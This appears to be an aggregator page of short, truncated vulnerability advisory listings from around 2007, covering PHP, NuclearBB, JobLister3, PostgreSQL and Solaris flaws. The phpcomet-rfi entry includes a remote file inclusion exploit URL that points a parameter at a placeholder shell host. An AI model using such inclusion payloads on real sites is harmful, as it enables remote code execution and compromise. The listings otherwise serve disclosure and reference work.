NuclearBB Alpha 2 - ROOT_PATH Remote File Inclusion

NuclearBB Alpha 2 - ROOTPATH Remote File Inclusion Vuln Product: NuclearBB Alpha 2 Vendor: http://www.nuclearbb.com/ Vulnerability Type: Remote File Inclusion Autor: Infection Team: Rootshell Security Team Vulnerable file: /NuclearBB/tasks/sendqueuedemails.php Exploit URL:...

PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass

Application: PHP =5.2.4 Web Site: http://php.net Platform: unix Bug: safemode & openbasedir bypass ------------------------------------------------------- 1 Introduction 2 Bug 3 Proof of concept 4 Credits =========== 1 Introduction =========== "PHP is a widely-used general-purpose scripting...

PHP multiple DoS conditions

Crash on oversized strings in fnmatch, iconvsubstr, glob and setlocale functions...

PT-2007-5797 · Enterprisedb · Enterprisedb Advanced Server

Name of the Vulnerable Software and Affected Versions: EnterpriseDB Advanced Server version 8.2 Description: The issue arises from improper handling of certain debugging function calls before a call to pldbg create listener, allowing remote authenticated users to cause a denial of service daemon...

Novell Client nwspool.dll RPC Printer Functions Remote Overflow (300870)

The file 'nwspool.dll' included with the Novell Client software on the remote host reportedly contains several buffer overflow vulnerabilities that can be triggered via specially crafted RPC requests. An unauthenticated, remote attacker may be able to leverage these issues with overly long...

PHP <= 5.2.0 (php_iisfunc.dll) Local Buffer Overflow PoC (win32)

Exploit for unknown platform in category dos / poc ================================================================ PHP // Risk: Local Buffer Overflow Medium - High Risk // Notes: Various other functions are exploitable, all of which convert the // string arguments to unicode. // // extern "C"...

php520-local.txt

// Risk: Local Buffer Overflow Medium - High Risk // Notes: Various other functions are exploitable, all of which convert the // string arguments to unicode. // // extern "C" IISFUNCAPI int fnStartServiceLPCTSTR ServiceId; // extern "C" IISFUNCAPI int fnGetServiceStateLPCTSTR ServiceId; // extern...

Code injection

Multiple unspecified vulnerabilities in the ata disk driver in Sun Solaris 8, 9, and 10 on the x86 platform before 20070821 allow local users to cause a denial of service system panic via unspecified ioctl functions, aka Bug 6433123...

CVE-2007-4492

Multiple unspecified vulnerabilities in the ata disk driver in Sun Solaris 8, 9, and 10 on the x86 platform before 20070821 allow local users to cause a denial of service system panic via unspecified ioctl functions, aka Bug 6433123...

CVE-2007-4492

CVE-2007-4492 describes multiple unspecified vulnerabilities in the Sun Solaris ata disk driver on x86 (Solaris 8/9/10) that can cause a local denial of service via unspecified ioctl calls. Connected documents reference Solaris updates for the ata driver (e.g., 117122-03 and 109798-04) as remedia...

JobLister3 SQL injection vulnerabilities

JobLister3 by SkilMatch Staffing Systems, Inc. Multiple SQL injection vulnerabilities http://www.dubdubdub.com/ http://www.skilmatch.com/ The search form filed doesnt strip special characters that have special meanings. A single quote makes the application spit out a number of errors. This is not...

joblister-sql.txt

JobLister3 by SkilMatch Staffing Systems, Inc. Multiple SQL injection vulnerabilities http://www.dubdubdub.com/ http://www.skilmatch.com/ The search form filed doesnt strip special characters that have special meanings. A single quote makes the application spit out a number of errors. This is not...

CVE-2007-3302

The CallCode ActiveX control in caller.dll 3.0 before 20070713, and 3.0 SP1 before 3.0.5.81, in CA formerly Computer Associates eTrust Intrusion Detection allows remote attackers to load arbitrary DLLs on a client system, and execute code from these DLLs, via unspecified "scriptable functions."...

Code injection

The CallCode ActiveX control in caller.dll 3.0 before 20070713, and 3.0 SP1 before 3.0.5.81, in CA formerly Computer Associates eTrust Intrusion Detection allows remote attackers to load arbitrary DLLs on a client system, and execute code from these DLLs, via unspecified "scriptable functions."...

PHP 5.2.3 Win32std - win_shell_execute Safe Mode Disable Functions Bypass

PHP 5.2.3 Win32std - winshellexecute Safe Mode Disable Functions Bypass milw0rm.com 2007-07-24...

PHP 5.2.3 Win32std - 'win_shell_execute' Safe Mode / disable_functions Bypass

milw0rm.com 2007-07-24...

phpcomet-rfi.txt

Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...

CVE-2007-3279

PostgreSQL 8.1 and probably later versions, when the PL/pgSQL plpgsql language has been created, grants certain plpgsql privileges to the PUBLIC domain, which allows remote attackers to create and execute functions, as demonstrated by functions that perform local brute-force password guessing...

CVE-2007-3280

The Database Link library dblink in PostgreSQL 8.1 implements functions via CREATE statements that map to arbitrary libraries based on the C programming language, which allows remote authenticated superusers to map and execute a function from any library, as demonstrated by using the system...

CVE-2007-3279

PostgreSQL 8.1 and probably later versions, when the PL/pgSQL plpgsql language has been created, grants certain plpgsql privileges to the PUBLIC domain, which allows remote attackers to create and execute functions, as demonstrated by functions that perform local brute-force password guessing...